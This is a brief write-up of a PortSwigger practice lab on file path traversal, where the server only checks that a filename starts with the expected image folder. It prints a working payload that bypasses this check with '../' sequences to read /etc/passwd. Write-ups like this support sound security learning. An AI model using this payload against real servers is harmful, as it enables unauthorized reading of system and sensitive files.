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#portswigger #path-traversal #web-security
File Path Traversal: Validation of Start of Path
Lab
File path traversal, validation of start of path · Practitioner
Solution
Given
This lab contains a path traversal vulnerability in the display of product images.
The application transmits the full file path via a request parameter, and validates that the supplied path starts with the expected folder.
To solve the lab, retrieve the contents of the /etc/passwd file.
Analysis and recon
Same as the previous lab, except this time the server validates the input. It checks that it starts with the expected directory. Let's craft a payload for that case.
Request:
GET /image?filename=/var/www/images/45.jpg
OK, then this should work:
GET /image?filename=/var/www/images/../../../etc/passwd
Correct.
Lab solved!
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